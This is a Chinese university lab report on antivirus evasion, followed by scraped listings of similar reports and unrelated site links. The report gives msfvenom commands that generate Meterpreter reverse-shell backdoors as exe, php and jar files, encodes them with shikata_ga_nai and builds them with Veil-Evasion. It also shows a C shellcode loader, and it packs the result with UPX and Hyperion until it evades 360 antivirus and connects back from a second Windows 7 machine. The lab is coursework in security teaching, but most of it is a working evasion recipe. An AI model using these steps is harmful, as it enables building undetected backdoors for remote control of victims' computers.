2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
基础问题回答
杀软是如何检测出恶意代码的?
1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代码),如果检测到特征码就会被断定为恶意软件。
2.启发式恶意软件检测,是根据某些特征去推断是否为恶意软件。
3.根据行为进行恶意软件检测: 通过对恶意代码的观察研究,发现有一些行为是恶意代码共同的比较特殊的行为,就会认定为是恶意软件。
免杀是做什么?
使用一些技术手段,不让杀软所检测到。
免杀的基本方法有哪些?
文件免杀方法:
1.加壳,如加压缩壳和加密壳。
2.加花指令,一般一个木马程序加入花指令后,就可以躲大部分的杀毒软件,不像改特征码,只能躲过某一种杀毒软件。
3.改程序入口点。
4.改木马文件特征码
- 把特征码所对应的十六进制改成数字差1或差不多的十六进制
- 把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了
- 特征码所对应的汇编指令命令中替换成功能类拟的指令
- 把具有特征码的代码顺序互换一下
开启杀软能绝对防止电脑中恶意代码吗?
- 开启杀软能起到防止电脑中恶意代码的风险,但不是绝对的。首先未录入病毒库的恶意代码就有可能避开杀软侵入到电脑。或者可以使用更高级的编码技术来隐藏恶意代码的特征码。
实践过程记录
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧
1. 正确使用msf编码器,生成exe文件
- 在实验二中使用msf生成了后门程序,在virscan中测试一下。:
注意:在导入文件时文件名不能带有数字,否则会报错。 - 面我们用msf编码器对后门程序进行一次的编码,其中
-e
:选择编码器,-b
:是payload中需要去除的字符,-i
是迭代的次数,因为shellcode以\x00
为结束符,所哟在-b
后面要跟一个\x00
。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
- 使用一下十次编译的方法:
-i
后跟一个10
即可。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=攻击机的IP LPORT=端口号 -f exe > xxx.exe
2. msfvenom生成php文件
- 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.php
生成文件如下图:
放入virscan中进行测试:
3. msfvenom生成jar文件
- 生成jar后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=攻击机的IP LPORT=端口号 x> xxx.jar
生成文件如下图:
放入virscan中进行测试:
4. 使用veil-evasion生成后门程序及检测
- 安装veil成功之后,输入
veil
,再用use evasion命令进入Evil-Evasion进入如下界面:
- 输入命令use c/meterpreter/rev_tcp.py进入配置界面
- 设置反弹连接IP,命令为:set LHOST kaliIP,设置端口,命令为:set LPORT 端口号。输入generate生成文件,接着输入playload的名字:如veil_c_5235:
- 保存路径为
/var/lib/veil/output/compiled/veil_c_5235.exe
- 检测结果:
5. 半手工注入Shellcode并执行
- 使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机ip LPORT=端口号 -f c
用c语言生成一段shellcode。
- 创建一个文件20165235.c,然后将unsigned char buf[] 拷贝到其中:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
........
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main()
{
int (*func)() = (int(*)())buf;
func();
}
- 使用命令:
i686-w64-mingw32-g++ 20165235.c -o 20165235.exe
编译这个.c文件为可执行文件:
- 进行检测:
- 将其复制到Windows上,被杀软检测到:
6.加压缩壳
- 20165235.exe加个压缩壳,得到qy_upxed.exe:
- 加压外壳的检测:
- 不过还是被杀软给发现了:
- 设置白名单之后进行反弹连接:
7.使用加密壳Hyperion
- 将qy_upxed.exe拷贝到
/usr/share/windows-binaries/hyperion/
,并且进入到这个文件目录下,使用终端输入命令wine hyperion.exe -v qy_upxed.exe qy_upxed_Hyperion.exe
进行加加密壳:
任务二:通过组合应用各种技术实现恶意代码免杀
- 对半手工制作shellcode加压缩壳不能达到免杀的目的,加密壳有一定的几率是可以达到了免杀的目的。
- 加密壳的免杀和反弹连接:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- 使用msfvenom生成shellcode,再使用压缩壳和加密壳进行加壳。对方的主机是win7系统,免杀软件是360,版本是:
11.1.0.2001
。
- 另一台主机免杀:
- 反弹连接的结果:
离实战还缺些什么技术或步骤?
本次实验我们只是简单的对文件进行加壳隐藏特征码来免杀,但是现在的病毒库更新速度很快,应该学会结合多种技术来免杀,如结合加壳,更换编码,修改程序入口,隐藏恶意软件共有的行为等来进行免杀。
实验中遇到的问题:
- 在shellcode进行反弹连接时,恶意软件在win7上无法运行,直接被终止。
- 解决方法:我先后关闭了杀软,防火墙等软件,但还是没用。更换了端口号也是没什么用,将shellcode拷贝到win7虚拟机也是同样被终止。最后我让同学帮我在他的kali上生成后门软件,并将ip和端口号进行了修改,最后完成了反弹连接实验。
实践总结与体会
本次实验要就掌握msf编码器,使用msfvenom生成各种类型的后门软件,而且最大的收获值学会了shellcode注入。在进行实验的时候遇到了不少的问题,如后门程序在win7上运行时会中断等问题。但最终还是解决了这些问题。
学习完本次的实验对免杀原理有了深层次的了解。对以后网络恶意软件的防范有了扎实的理论支持。
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践的更多相关文章
- 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践
2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
随机推荐
- 2017-12-20python全栈9期第五天第二节之可变 数据类型和不可变数据类型
- Python语言的循环语句、迭代器与生成器、函数学习
while循环语句 无限循环 我们可以通过设置条件表达式永远不为false来实现无限循环,实例如下: for语句 Python for循环可以遍历任何序列的项目,如一个列表或者一个字符串 Python ...
- Netty学习路线
预研时间170517-170519 投入时间:约10h 理解度:入门①前置基础:了解基本网络协议和通信方式[图解HTTP]http://download.csdn.net/detail/niehanm ...
- gdb nnet3-compute
gdb nnet3-compute测试命令 $ matrix-dim 'scp: head -n 1 data/test/feats.scp|' ~/kaldi/src/bin/matrix-dim ...
- MySQL保留字不能作为字段名使用
在设计MySQL字段的时候,无意中使用InOut这个名称作为字段名称,结果前端提交后就是没有写入数据库!但后端没有任何提示,跟踪mySQL日志,也没有留下痕迹,反复查,不得其解. 后来实在没有办法情况 ...
- python2x如何迁移代码到python3中
2to3 - 自动Python 2到3代码转换 2to3是一个Python程序,它读取Python 2.x源代码并应用一系列修复程序将其转换为有效的Python 3.x代码.标准库包含一组丰富的修复程 ...
- 解锁技能:sass + node-sass多页面应用编译(转载)
传送门:https://blog.csdn.net/wx11408115/article/details/78023466
- iTOP-4412/4418/6818开发板-fastboot烧写脚本
在 iTOP-4412,4418,6818 开发板烧写的时候,使用的是 fastboot 工具. fastboot 工具需要在 cmd.exe 中调用,每次都需要输入烧写命令,这样步骤有点多.在程序员 ...
- Vagrant上运行SITL
打算给Tower加个手机遥控的功能,用运行于vagrant sitl来联合调试,在公司的网络条件很好的情况下没出任何错,都是根据http://ardupilot.org/dev/docs/settin ...
- openGL learning
1,basic env in linux : cmake_minimum_required(VERSION 2.8) project(CP_01) set(GLFW_HOME /home/gearsl ...